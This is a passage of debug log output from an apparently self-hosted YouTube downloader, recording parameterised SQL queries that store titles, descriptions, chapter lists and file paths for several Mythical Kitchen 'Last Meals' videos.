Carlo\n1:00:35 What Do You Think Happens When You Die?\n1:02:18 Lightning Round\n1:04:53 Noah's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Noah Kahan Eats His Last Meal", "https://www.youtube.com/watch?v=uEQ6z0rbn30", "uEQ6z0rbn30", 3941, false, "/downloads/Last Meals/2026-02-17 Noah Kahan Eats His Last Meal/Noah Kahan Eats His Last Meal [uEQ6z0rbn30].mp4", false, 1, ~U[2026-02-17 11:01:31Z]] 20:49:32.353 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.354 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 11:01:18Z], 1] 20:49:32.355 [debug] QUERY OK source="media_items" db=0.8ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Try Guy Keith Habersberger eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Keith's Last Meal\n0:22 The Benjamin Franklin Pop-Tart Challenge\n2:06 Have You Thought About Your Last Meal Before?\n3:14 1st Course\n5:01 Chickenwatch Mentioned\n7:00 Growing Up In Tennessee\n8:11 Eat The Menu & Keith's Fascination with Fast Food\n11:45 Shaking Butts At The Happy J Skating Rink\n13:05 Playing the Villain in Church Plays\n16:29 2nd Course\n17:36 Chicago Pizza Memories\n19:03 The Inner Desire to Perform\n23:00 The Power of Teachers & Mentors\n25:00 Keith Almost Worked at Jimmy Johns\n28:30 3rd Course\n30:46 NO KINGS\n31:57 Offloading Your Memories To The Internet\n33:36 Meeting MISS PIGGY\n34:49 Saving Some Experiences For Yourself\n36:27 Connecting to Others through Food\n38:26 Oscha vs. Mscha\n40:42 4th Course\n42:58 Eating Korean BBQ With Anthony Bordain\n44:38 Try Guys Exists Because Of Facebook & Women's Underwear\n45:50 SOMETIMES Work for Free\n47:55 Did You Ever Want To Walk Away After The Scandal?\n52:11 Puppy Interview Lore\n54:03 5th Course\n57:03 Honoring Daddy\n1:00:36 Caring For Others & Yourself\n1:02:30 The Best Explanation Of Ancient Text\n1:05:09 What Do You Think Happens When You Die?\n1:05:50 Lightning Round\n1:06:41 Keith's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Try Guys' Keith Habersberger Eats His Last Meal", "7b7fedf8-57d9-43d2-9864-48eeeca5f2e2", "https://www.youtube.com/watch?v=km6sdtqn5dA", false, "km6sdtqn5dA", 4087, false, 76, "/downloads/Last Meals/2026-01-27 Try Guys' Keith Habersberger Eats His Last Meal/Try Guys' Keith Habersberger Eats His Last Meal [km6sdtqn5dA].mp4", false, false, 1, [], 1, ~U[2026-01-27 11:01:18Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Try Guy Keith Habersberger eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Keith's Last Meal\n0:22 The Benjamin Franklin Pop-Tart Challenge\n2:06 Have You Thought About Your Last Meal Before?\n3:14 1st Course\n5:01 Chickenwatch Mentioned\n7:00 Growing Up In Tennessee\n8:11 Eat The Menu & Keith's Fascination with Fast Food\n11:45 Shaking Butts At The Happy J Skating Rink\n13:05 Playing the Villain in Church Plays\n16:29 2nd Course\n17:36 Chicago Pizza Memories\n19:03 The Inner Desire to Perform\n23:00 The Power of Teachers & Mentors\n25:00 Keith Almost Worked at Jimmy Johns\n28:30 3rd Course\n30:46 NO KINGS\n31:57 Offloading Your Memories To The Internet\n33:36 Meeting MISS PIGGY\n34:49 Saving Some Experiences For Yourself\n36:27 Connecting to Others through Food\n38:26 Oscha vs. Mscha\n40:42 4th Course\n42:58 Eating Korean BBQ With Anthony Bordain\n44:38 Try Guys Exists Because Of Facebook & Women's Underwear\n45:50 SOMETIMES Work for Free\n47:55 Did You Ever Want To Walk Away After The Scandal?\n52:11 Puppy Interview Lore\n54:03 5th Course\n57:03 Honoring Daddy\n1:00:36 Caring For Others & Yourself\n1:02:30 The Best Explanation Of Ancient Text\n1:05:09 What Do You Think Happens When You Die?\n1:05:50 Lightning Round\n1:06:41 Keith's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Try Guys' Keith Habersberger Eats His Last Meal", "https://www.youtube.com/watch?v=km6sdtqn5dA", "km6sdtqn5dA", 4087, false, "/downloads/Last Meals/2026-01-27 Try Guys' Keith Habersberger Eats His Last Meal/Try Guys' Keith Habersberger Eats His Last Meal [km6sdtqn5dA].mp4", false, 1, ~U[2026-01-27 11:01:18Z]] 20:49:32.355 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.355 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-03 10:00:25Z], 1] 20:49:32.356 [debug] QUERY OK source="media_items" db=0.7ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Gaten Matarazzo is eating his last meal.\n\nLEGO Star Wars: Rebuild the Galaxy” – “Four-piece” animated special is now streaming on Disney+!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Gaten's Last Meal\n1:26 Have You Thought About Your Last Meal Before?\n3:01 1st Course\n5:54 Joining The Star Wars Story\n8:09 Audition Setbacks At A Young Age\n12:01 2nd Course\n13:46 The End Of Stranger Things\n15:39 Stranger Things College\n19:00 Backstage At Sweeney Todd\n19:50 3rd Course\n20:58 Poison & Poop Handshakes\n22:43 New Food Break Rule\n23:37 Growing Up With Cleidocranial Dysplasia\n29:26 4th Course\n32:19 Dealing With Death\n34:40 Spirituality & What Happens After Death\n38:43 Lightning Round\n41:23 Gaten's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Stranger Things' Gaten Matarazzo Eats His Last Meal", "cbf417f0-7ba0-4790-9615-c36c8379c3c3", "https://www.youtube.com/watch?v=RG_jhSou0S4", false, "RG_jhSou0S4", 2534, false, 77, "/downloads/Last Meals/2024-10-03 Stranger Things' Gaten Matarazzo Eats His Last Meal/Stranger Things' Gaten Matarazzo Eats His Last Meal [RG_jhSou0S4].mp4", false, false, 1, [], 1, ~U[2024-10-03 10:00:25Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Gaten Matarazzo is eating his last meal.\n\nLEGO Star Wars: Rebuild the Galaxy” – “Four-piece” animated special is now streaming on Disney+!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Gaten's Last Meal\n1:26 Have You Thought About Your Last Meal Before?\n3:01 1st Course\n5:54 Joining The Star Wars Story\n8:09 Audition Setbacks At A Young Age\n12:01 2nd Course\n13:46 The End Of Stranger Things\n15:39 Stranger Things College\n19:00 Backstage At Sweeney Todd\n19:50 3rd Course\n20:58 Poison & Poop Handshakes\n22:43 New Food Break Rule\n23:37 Growing Up With Cleidocranial Dysplasia\n29:26 4th Course\n32:19 Dealing With Death\n34:40 Spirituality & What Happens After Death\n38:43 Lightning Round\n41:23 Gaten's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8 (truncated) 20:49:32.356 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.356 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-16 10:00:53Z], 1] 20:49:32.357 [debug] QUERY OK source="media_items" db=0.7ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking MatPat's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 MatPat's Last Meal\n1:27 Life, Death, & Optimization\n2:13 1st Course - Sushi & Oysters\n4:43 How Do You Want To Die?\n7:31 2nd Course - Fancy Big Mac, Swamp Water, & Dad's Ribs\n10:30 Always Be Your Shameless Self\n11:30 10 Weeks To Say Goodbye\n12:57 An Analogy For Parasocial Relationships\n15:52 3rd Course - Mystery Sampler Platter\n21:02 Designing an Award-Winning Trebuchet\n21:36 A Shift In Priorities\n22:17 Navigating Death During New Life\n24:16 A Theory For Toxic Commenters\n26:01 4th Course - Baked Alaska, Hot Chocolate, Handel's Ice Cream, & Grandma's Gobs\n31:10 What Happens When You Die?\n33:24 Lightning Round\n36:11 MatPat's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "MatPat Eats His Last Meal", "b4b4f304-a8a3-483b-acf8-ba9b965236ad", "https://www.youtube.com/watch?v=yKiFpDAcOyU", false, "yKiFpDAcOyU", 2269, false, 78, "/downloads/Last Meals/2024-04-16 MatPat Eats His Last Meal/MatPat Eats His Last Meal [yKiFpDAcOyU].mp4", false, false, 1, [], 1, ~U[2024-04-16 10:00:53Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking MatPat's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 MatPat's Last Meal\n1:27 Life, Death, & Optimization\n2:13 1st Course - Sushi & Oysters\n4:43 How Do You Want To Die?\n7:31 2nd Course - Fancy Big Mac, Swamp Water, & Dad's Ribs\n10:30 Always Be Your Shameless Self\n11:30 10 Weeks To Say Goodbye\n12:57 An Analogy For Parasocial Relationships\n15:52 3rd Course - Mystery Sampler Platter\n21:02 Designing an Award-Winning Trebuchet\n21:36 A Shift In Priorities\n22:17 Navigating Death During New Life\n24:16 A Theory For Toxic Commenters\n26:01 4th Course - Baked Alaska, Hot Chocolate, Handel's Ice Cream, & Grandma's Gobs\n31:10 What Happens When You Die?\n33:24 Lightning Round\n36:11 MatPat's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K (truncated) 20:49:32.358 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.358 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-31 10:00:14Z], 1] 20:49:32.359 [debug] QUERY OK source="media_items" db=0.8ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Seth Rollins' last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nTimestamps\n0:00 Seth's Last Meal Menu\n0:36 Iowa Hardcore Scene\n1:55 How Often Do You Think About Death?\n2:39 New Last Meals Hat & Tee\n3:06 1st Course - BLT, Corn On The Cob, Pizza Rolls, Spicy Doritos, & Pepsi\n3:32 Childhood Memories\n4:49 Seth's First Personas\n6:19 Preeminent Corn Critic\n7:05 Big Brothers & Magic The Gathering \n8:05 Pizza Rolls Technique \n8:40 Madden Football & Spicy Doritos\n10:40 2nd Course - Ribeye, Fatty Tuna, & Sake\n11:32 Jiro Dreams of Sushi & Discovering A Hidden Gem\n14:18: Being A Heel And Human Morality\n15:10 Physical Peak Vs. Mental Peak\n16:52 3rd Course - Enchiladas, Fideo, & Detroit Style Pizza\n17:32 Growing Up In a Half-Mexican Household\n18:11 